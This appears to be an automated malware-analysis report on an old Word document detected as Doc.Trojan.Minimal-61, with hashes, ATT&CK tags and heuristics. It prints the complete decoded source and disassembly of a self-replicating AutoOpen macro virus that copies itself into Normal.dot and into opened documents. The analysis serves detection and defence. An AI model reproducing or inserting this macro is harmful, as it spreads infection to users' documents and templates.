Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c0a08e72e3a01403…

MALICIOUS

Office (OLE)

26.5 KB Created: 1999-05-09 18:29:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7e6dc110b8049297239b100178adb6c6 SHA-1: 029cd680c20815fe54a13b2cb321a85530b0a964 SHA-256: c0a08e72e3a01403c71fc0c48d77f14c3bdcfd9bdeee9d08e1f853dabde5ccc4
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a legacy Word document containing a critical AutoOpen VBA macro. This macro is designed to copy itself to the global template (Normal.dot) and save the document in a macro-enabled format. This behavior suggests an attempt to establish persistence and ensure the macro is available for future executions, characteristic of macro-based malware.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-61 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-61
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1969 bytes
SHA-256: 4db614a865f95b493f8aa9a400e66b6b7793d1c240c268ccba07aac4f4ddecd3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Dim F$
Dim M$
On Error GoTo -1: On Error GoTo MinSize
F$ = WordBasic.[FileName$]() + ":AutoOpen"
M$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))
If M$ = "NORMAL.DOT" Then
WordBasic.MacroCopy "Global:AutoOpen", F$
WordBasic.FileSaveAs Format:=1
Else
WordBasic.MacroCopy F$, "Global:AutoOpen"
End If
MinSize:
End Sub

' Processing file: /opt/analyzer/scan_staging/6b3d9e7278454271924ca9f8f89b9fa4.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 1485 bytes
' Line #0:
' 	FuncDefn (Public Sub MAIN())
' Line #1:
' 	Dim 
' 	VarDefn False
' Line #2:
' 	Dim 
' 	VarDefn M
' Line #3:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError MinSize 
' Line #4:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	St False$ 
' Line #5:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroFileName$] 0x0001 
' 	LitDI2 0x000A 
' 	Ld WordBasic 
' 	ArgsMemLd [Right$] 0x0002 
' 	ArgsLd UCase 0x0001 
' 	St M$ 
' Line #6:
' 	Ld M$ 
' 	LitStr 0x000A "NORMAL.DOT"
' 	Eq 
' 	IfBlock 
' Line #7:
' 	LitStr 0x000F "Global:AutoOpen"
' 	Ld False$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #8:
' 	LitDI2 0x0001 
' 	ParamNamed Format$ 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #9:
' 	ElseBlock 
' Line #10:
' 	Ld False$ 
' 	LitStr 0x000F "Global:AutoOpen"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #11:
' 	EndIfBlock 
' Line #12:
' 	Label MinSize 
' Line #13:
' 	EndSub

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